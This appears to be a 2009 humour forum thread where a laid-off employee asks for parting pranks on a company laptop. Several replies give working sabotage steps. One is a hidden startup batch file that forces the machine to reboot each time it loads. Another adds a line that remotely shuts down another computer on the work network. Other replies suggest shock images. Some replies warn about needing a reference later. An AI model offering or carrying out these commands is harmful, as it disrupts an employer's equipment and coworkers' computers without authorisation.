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( , Sun 1 Apr 2001, 1:00)
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Having been laid off does anyone have a suitable image for me to leave as a screensaver on the company laptop. (I have already set my homepage to 'I love Horses' and turned the volume up full)
Any other futile gestures much appreciated.
( , Fri 29 May 2009, 12:28, 18 replies, latest was 16 years ago)

Or any other Douglas Adams quote you can think of...
( , Fri 29 May 2009, 12:30, Reply)

Open a text file, and write this text -
shutdown -r
Then save it as restart.bat, and put it into All Programs/Startup, then make it hidden.
(Sorry if this is patronisingly easy, but basically everytime someone loads your computer up, it'll just restart itself after about 30 seconds)
( , Fri 29 May 2009, 12:32, Reply)

Make it:
shutdown.exe -r -f
The -f command forces all programs to close so nothing can hold it up.
( , Fri 29 May 2009, 12:40, Reply)

Add an extra line going
shutdown.exe -s -f -m \\ANOTHER WORK COMPUTER NAME
Whenever it starts up, if it's on the same network as that computer, that one will be shut down.
( , Fri 29 May 2009, 12:43, Reply)

I had problems due to admin access or some crap like that.
( , Fri 29 May 2009, 12:46, Reply)

I used to have fun with it at LAN parties when there was always one sod who never had a firewall set up.
Pity though, you could have had the entire department reboot... or if it was badly set up, a server. If you could do that though, your IT guys should be shot.
( , Fri 29 May 2009, 13:07, Reply)

is what I was going to say. Or Tubgirl. Or Lemonparty.
Or a particularly cheesy pic of the Chuckle Brothers, tiled as far as the eye can see.
( , Fri 29 May 2009, 13:23, Reply)

it may cause a certain amount of bridge burning though
Edit - PJM is way ahead of me
( , Fri 29 May 2009, 12:34, Reply)

Just a thought, you may need a reference from them sometime in the future.
( , Fri 29 May 2009, 12:44, Reply)

I had not thought of that - I had better go clean up my 'dirty protest' in the board room.
( , Fri 29 May 2009, 12:46, Reply)

Albeit boring, this is what you should really do.
( , Fri 29 May 2009, 13:09, Reply)

and go down in history. That'll teach 'em.
( , Fri 29 May 2009, 13:07, Reply)

...as 'home' with instructions to google all the suggestions.
(And the 'I Love Horses' remix to come on when messages arrive.)
Thanks for the lovely advice.
( , Fri 29 May 2009, 14:41, Reply)
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